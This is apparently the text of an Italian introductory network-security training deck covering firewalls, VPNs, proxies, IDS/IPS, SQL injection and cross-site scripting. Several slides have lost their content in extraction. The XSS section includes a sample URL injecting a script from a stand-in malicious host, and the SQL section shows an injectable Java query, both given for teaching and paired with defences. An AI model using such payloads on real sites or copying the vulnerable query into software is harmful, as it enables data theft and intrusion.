Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
SSS SOFT
START
Academy
SSS 1
Security Soft Start - Onstairs © 2020
LEZIONE 2
SSS 2
Security Soft Start - Onstairs © 2020
#ARGOMENTI E OBIETTIVI
START
NETWORK SECURITY
➢ Firewall, Virtual Private Network, Proxy/Reverse Proxy
➢ Intrusion Detection & Intrusion Prevention Systems
SSS 3
Security Soft Start - Onstairs © 2020
# NETWORK SECURITY
SSS 4
Security Soft Start - Onstairs © 2020
#Firewall
• Un firewall è un sistema in grado di filtrare il traffico tra differenti
segmenti di rete sulla base di una serie di criteri (policy)
INTERNET
Firewall
RETE INTERNA
SSS 6
Security Soft Start - Onstairs © 2020
#Firewall Stateless
• Quante e quali policy implementare sul firewall per permettere al Client
l’accesso ai contenuti web presenti sul Server?
(B,80)
(A, 1100)
Client Server
Firewall
SSS 7
Security Soft Start - Onstairs © 2020
#Firewall Stateless
• Quante e quali policy implementare sul firewall per permettere al Client
l’accesso ai contenuti web presenti sul Server?
(B,80)
(A, 1100)
Client Server
Firewall
SSS 8
Security Soft Start - Onstairs © 2020
#Firewall Stateful
• Un Firewall Stateful tiene traccia di ogni sessione TCP stabilita ed
ispeziona il traffico basandosi sullo stato della sessione
(B,80)
(A, 1100)
Client Server
Firewall
SSS 9
Security Soft Start - Onstairs © 2020
#Firewall Stateful
• Un Firewall Stateful tiene traccia di ogni sessione TCP stabilita ed
ispeziona il traffico basandosi sullo stato della sessione
(B,80)
(A, 1100)
Client Server
Firewall
SYN source_port=1100 , dest_port=80
SSS 10
Security Soft Start - Onstairs © 2020
#Firewall Stateful
• Un Firewall Stateful tiene traccia di ogni sessione TCP stabilita ed
ispeziona il traffico basandosi sullo stato della sessione
(B,80)
(A, 1100)
Client Server
Firewall
SSS 11
Security Soft Start - Onstairs © 2020
# Next-Generation Firewall
• Un Firewall tradizionale non è generalmente in grado di esaminare le
applicazioni.
(B,443)
(A, 1100)
Client Firewall Server
Facebook
SSS 12
Security Soft Start - Onstairs © 2020
# Next-Generation Firewall
Cosa fa un Next-Generation Firewall
• Ispezione applicativi
• Web filtering
SSS 13
Security Soft Start - Onstairs © 2020
# Virtual Private Network (VPN)
• La funzionalità Virtual Private Network (VPN) permette lo scambio dati tra due entità
su rete pubblica in maniera sicura e protetta
Hacker
SSS 14
Security Soft Start - Onstairs © 2020
# Virtual Private Network (VPN)
• Virtual Private Network (VPN) svolge le seguenti funzioni:
SSS 15
Security Soft Start - Onstairs © 2020
# Virtual Private Network (VPN)
• Virtual Private Network (VPN) svolge le seguenti funzioni:
SSS 16
Security Soft Start - Onstairs © 2020
# Virtual Private Network (VPN)
• Le funzionalità descritte sono implementate per mezzo di un collegamento logico
instaurato dalla tecnologia VPN detto VPN Tunnel
• Un intruso può catturare i pacchetti in transito sul Tunnel, tuttavia non sarebbe in
grado di comprenderli essendo essi cifrati
Hacker
Hacker
INTERNET
Sede Sede
Roma Milano
R2MI
R1RM VPN Tunnel
SSS 17
Security Soft Start - Onstairs © 2020
# Tipologie di VPN
• Le principali tipologie di VPN sono:
✓ Intranet VPN: utilizzata per connettere due sedi della stessa azienda. E’ un
collegamento di tipologia Site-to-Site
DATACENTER INTERNET
SSS 19
Security Soft Start - Onstairs © 2020
#VIRTUAL PRIVATE NETWORK
VPN SSL VPN IPSEC
o Ideale per applicazioni «network-
o Transazioni web sicure based»
o I dati tra client e server sono o Instaurazione di un tunnel cifrato tra
scambiati su un link HTTPS due host
o Web-Only mode o Modalità Point-to-Point
o Tunnel mode o Modalità Dial-Up
SSS 20
Security Soft Start - Onstairs © 2020
#VPN SSL – WEB-ONLY MODE
• Accesso di tipo Clientless
• Utilizza un processo SSL Daemon in esecuzione su un dispositivo e un portale web impiegato per
l’autenticazione e per la gestione di risorse HTTP(s), Telnet, Ftp, SMB/CIFS, VNC, RDP e SSH
https://1.2.3.4:10443
WAN1
1.2.3.4 INTERNET
DATACENTER
SSS 21
Security Soft Start - Onstairs © 2020
#VPN SSL – WEB-ONLY MODE
SSS 22
Security Soft Start - Onstairs © 2020
#VPN SSL – WEB-ONLY MODE
SSS 23
Security Soft Start - Onstairs © 2020
#VPN SSL – TUNNEL MODE
• Utilizza un Client per stabilire il tunnel cifrato con un Firewall
Google
LAN
WAN1
1.2.3.4
DATACENTER
SSS 24
Security Soft Start - Onstairs © 2020
#VPN SSL – TUNNEL MODE
• Durante l’instaurazione di un tunnel VPN SSL, il firewall associa al client un indirizzo IP virtuale che
sarà utilizzato per tutta la durata della connessione
• Per mezzo della funzione Split Tunneling è possibile inviare all’SSL VPN gateway solamente il traffico
diretto verso le reti interne e non il traffico Internet
Google
LAN
WAN1
1.2.3.4
DATACENTER
SSS 25
Security Soft Start - Onstairs © 2020
#VPN SSL – HOST CHECK
• Per mezzo della funzione Host Check è possibile analizzare lo stato del sistema client
• E’ possibile verificare se le definizioni del Sistema antivirus sono aggiornate oppure se determinati
software di sicurezza sono attivi o meno
LAN
WAN1
1.2.3.4
SSS 26
Security Soft Start - Onstairs © 2020
#VPN IPSEC
• IPSEC è un insieme di protocolli e servizi utilizzati per lo scambio sicuro di dati. Nello specifico
forniscono:
• I pacchetti IP sono incapsulati all’interno di pacchetti IPSEC e inoltrati all’interno di un tunnel sicuro
SSS 27
Security Soft Start - Onstairs © 2020
#VPN IPSEC
• Il pacchetto IP resta inalterato durante il transito sul tunnel
WAN1
1.2.3.4
IPS Packet c
IP Packet
SSS 28
Security Soft Start - Onstairs © 2020
#VPN IPSEC
• Il pacchetto IP resta inalterato durante il transito sul tunnel
c
IP Packet
IPS Packet
WAN1
1.2.3.4
IPS Packet c
IP Packet
SSS 29
Security Soft Start - Onstairs © 2020
#VPN IPSEC SA
• Security Association (SA) è l’elemento fondamentale di un’architettura IPSEC
• Una SA è un insieme di parametri e algoritmi utilizzati per cifrare i dati in transito su un link VPN. Tali
parametri sono scelti dall’amministratore del firewall
SSS 30
Security Soft Start - Onstairs © 2020
#IKE – INTERNET KEY EXCHANGE
• IKE è utilizzato per la negoziazione di una SA tra due entità (peer)
• Phase1: autenticazione dei peer e creazione di un canale sicuro su di cui scambiare le chiavi di
cifratura
Phase 2
Phase 1
SSS 31
Security Soft Start - Onstairs © 2020
#TOPOLOGIE IPSEC
• Site-to-Site:
• Site-to-Multi site:
✓ Configurazione Hub-and-Spoke
✓ Ciascun Hub instaura un tunnel IPSEC con lo Spoke
✓ Configurazione di Firewall Policy
• Site-to-Client:
Sede Centrale
Site-to-site
Ufficio Periferico
Ufficio Periferico
SSS 33
Security Soft Start - Onstairs © 2020
#TOPOLOGIE IPSEC
Sede Centrale
Ufficio Periferico
Ufficio Periferico
SSS 34
Security Soft Start - Onstairs © 2020
#TOPOLOGIE IPSEC
Sede Centrale
Ufficio Periferico
Site-to-client
Ufficio Periferico
Utente Remoto
SSS 35
Security Soft Start - Onstairs © 2020
#Server Proxy
• Un server Proxy è un sistema utilizzato per inoltrare a destinazione
richieste per servizi specifici (es. Web, Ftp ecc.)
• Un server Proxy Web può essere utilizzato per filtrare I siti web accessibili
dai sistemi presenti all’interno di una rete. E’ inoltre possibile tenere
traccia di tutti i siti consultati (logging)
SSS 36
Security Soft Start - Onstairs © 2020
#Server Proxy
• Le richieste del Client sono intercettate dal server Proxy
Client Server
A Proxy Web
https://www.onstairs.com https://www.onstairs.com
SSS 37
Security Soft Start - Onstairs © 2020
#Server Proxy
• Le richieste del Client sono intercettate dal server Proxy
Client Server
A Proxy Web
SSS 38
Security Soft Start - Onstairs © 2020
#Server Proxy
• Come si comporta il Proxy se «Client B» richiede la stessa pagina web?
Client Server
B Proxy Web
https://www.onstairs.com
SSS 39
Security Soft Start - Onstairs © 2020
#Server Proxy
• Il Proxy verifica il contenuto dell’unità di memoria Cache
Onstairs.com
Cache
Client Server
B Proxy Web
SSS 40
Security Soft Start - Onstairs © 2020
#Server Proxy
• Come si comporta il Proxy se «Client B» richiede la stessa pagina web?
Onstairs.com
SSS 41
Security Soft Start - Onstairs © 2020
#Server Proxy
• Le modalità di implementazione di un server Proxy sono: Transparent e
Non Transparent
SSS 42
Security Soft Start - Onstairs © 2020
#Transparent vs Explicit Proxy
Chi ha generato la
richiesta?
Client Server
Explicit Web
Proxy
Sorgente Destinazione
Explicit Proxy Server Web
SSS 43
Security Soft Start - Onstairs © 2020
#Transparent vs Explicit Proxy
Chi ha generato la
richiesta?
Client Server
Transparent Web
Proxy
Sorgente Destinazione
Client Server Web
SSS 44
Security Soft Start - Onstairs © 2020
#Reverse Proxy
• Un reverse proxy agisce in maniera opposta rispetto a un forward proxy.
• Un altro uso comune è per fornire sicurezza tramite TLS a tutti i server ad esso
collegato: i server vengono contattati internamente in HTTP, ma la comunicazione tra
il reverse proxy e i client avviene tramite HTTPS in maniera trasparente per il client.
SSS 45
Security Soft Start - Onstairs © 2020
#Reverse Proxy
• Le richieste del Client sono intercettate dal reverse Proxy che le rigira sulla
rete interna al server web
Client Server
A Proxy Web
https://www.onstairs.com http://10.0.0.1:8080
SSS 46
Security Soft Start - Onstairs © 2020
#Reverse Proxy
• La risposta del server viene inviata al reverse proxy che la girerà al client
originario. Attraverso opportuna manipolazione degli header, il processo è
totalmente trasparente al client.
Client Server
A Proxy Web
HTTPS HTTP
SSS 47
Security Soft Start - Onstairs © 2020
# Intrusion Detection Systems
• Un Intrusion Detection System è un sistema in grado di monitorare la
rete (o un singolo Sistema) e generare un Allarme (Alert) nel momento in
cui viene rilevata un’anomalia o un potenziale attacco informatico.
SSS 48
Security Soft Start - Onstairs © 2020
# Intrusion Detection Systems
Attenzione,
Anomalia!!!
Hacker
NIDS
RETE
Utente
Legittimo
SSS 49
Security Soft Start - Onstairs © 2020
# Intrusion Detection Systems
• Un NIDS può essere connesso su una porta dello switch configurata in
modalità Mirroring (Span port)
INTERNET
Span Port
NIDS
SSS 50
Security Soft Start - Onstairs © 2020
# Intrusion Detection Systems
• Un NIDS non esamina il traffico “real-time”, bensì lavora su una copia del
traffico di rete. Si dice in tal caso che il NIDS opera in modalità “Out-of-
Band”
INTERNET Hacker
Attenzione,
Attacco!!!
Span Port
NIDS
Vittima 52
SSS
Security Soft Start - Onstairs © 2020
# Intrusion Prevention Systems
• Un Intrusion Detection System è un sistema in grado di monitorare la
rete o un sistema e generare un Allarme (Alert) nel momento in cui viene
rilevata un’anomalia o un potenziale attacco informatico.
INTERNET Hacker
Attacco!
Blocco il flusso dati!
NIPS
INTERNET Hacker
Attacco!
Blocco il flusso dati!
NIPS
SSS 56
Security Soft Start - Onstairs © 2020
# Falsi Positivi e Falsi Negativi
• La rilevazione degli attacchi avviene dunque sulla base di signature o su
base Euristica/Comportamentale
SSS 58
Security Soft Start - Onstairs © 2020
# Struttura generale di un’applicazione Web
• Per applicazione web, si intende un'applicazione la cui
implementazione si basa sui protocolli e i linguaggi del web
• Per quanto riguarda i protocolli, utilizzerà quindi il protocollo HTTP(S)
tramite un'architettura a web services.
• Per quanto riguarda i linguaggi, queste applicazioni possono essere
fruite tramite sito web, e in questo caso si dovrà usare la
combinazione HTML/CSS/Javascript o tramite app mobile, e in tal
caso il linguaggio dipende dal sistema operativo mobile.
• Vi è libertà implementativa per l'applicazione server, per la quale si
possono usare diversi linguaggi (PHP, Java, .NET, Python, …)
SSS 59
Security Soft Start - Onstairs © 2020
# Struttura generale di un’applicazione Web
• Nella maggior parte dei casi un'applicazione web avrà bisogno di un
database all'interno del quale sanno memorizzati i dati.
SSS 60
Security Soft Start - Onstairs © 2020
# Struttura generale di un’applicazione Web
HTTP
HTTP Database
Internet Server
HTTP
File
Server
SSS 61
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: SQL Injection
• SQL injection rappresenta una delle tecniche utilizzate, per abusare di
codice non sicuro.
• Ad esempio il seguente frammento di codice Java:
String sqlStatement = "SELECT * FROM users WHERE name = '" + username + "';"
SSS 62
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: SQL Injection
• L'errato controllo sulla concatenazione delle stringhe può portare un malintenzionato ad
accedere ad informazioni a cui non è autorizzato o a danneggiare il database.
• Se ad esempio il campo username viene valorizzato con la stringa:
• La query restituirà tutti i valori della tabella users (data leak). Oppure, ancora peggio, si
potrebbe inserire come valore:
SSS 63
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: SQL Injection
• Per evitare questi attacchi, i linguaggi di programmazione hanno degli
appositi costrutti chiamati PreparedStatement che permettono di costruire
gli statement SQL come stringhe con variabili che saranno poi sostituite in
maniera sicura.
• Ad esempio, in Java:
• Sarà poi possibile inserire il valore del placeholder al posto del carattere di
?. Java verificherà automaticamente che non vi sia codice dannoso al suo
interno.
SSS 64
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: XSS
• XSS è l'acronimo di Cross Site Scripting, rappresenta un altro esempio
di vulnerabilità software estremamente diffusa e pericolosa.
• Anche in questo caso, è dovuta a una mancata validazione dei dati in
ingresso inseriti dall'utente.
• Le vulnerabilità XSS si distinguono in due tipologie:
1. Non persistenti
2. Persistenti
SSS 65
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: XSS
• Nelle vulnerabilità non persistenti, non viene memorizzato nessun
dato sul server remoto, quindi sarà necessario costruire un apposito
url che serva a sfruttare la vulnerabilità e a diffondere questo url alle
vittime.
• Ipotizziamo di avere un sito web che accetti dei query parameters,
ovvero i parametri che si vedono all'interno della barra degli indirizzi
del browser. Ad esempio:
http://www.mysite.com/search?q=pencil
• In questo caso stiamo passando il termine "pencil" come termine di
ricerca.
SSS 66
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: XSS
• Cosa succede se proviamo ad usare un url di questo tipo?
http://www.mysite.com/search?q=pencil<script%20src="
http://malicio.us/harmful.js"></script>
SSS 67
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: XSS
• Negli attacchi persistenti invece, i dati di attacco vengono inviati al
server che li memorizza. Gli utenti che accederanno al sito saranno
automaticamente attaccati.
• L'esempio classico è quello dei forum o dei siti dove comunque gli
utenti possono inviare dei contenuti che sono poi disponibili ad altri
utenti.
• Ad esempio, nel caso delle sezioni dei commenti un articolo di un sito,
si può aggiungere del codice JavaScript malevolo.
• Questo tipo di attacco è ancora più pericoloso perché qualunque
utente visiti il sito o la pagina sarà sotto attacco.
SSS 68
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: XSS
• Esistono diversi accorgimenti per evitare attacchi di XSS.
• Il più efficiente è sicuramente quello di effettuare sempre un'accurata
validazione dei valori in ingresso inseriti dall'utente, a tal scopo vi
sono delle librerie apposite che si occupano già di effettuare questa
pulizia.
• Altri metodi effettuano un'associazione tra IP e sessione utente, in
questo modo anche se il token della sessione dovesse andare perso,
non potrà essere utilizzato.
• Per prevenire l'invio di comunicazioni ad url diversi, i browser
adottano come misura preventiva la same origin policy che può però
essere disattivata attraverso appositi header http.
SSS 69
Security Soft Start - Onstairs © 2020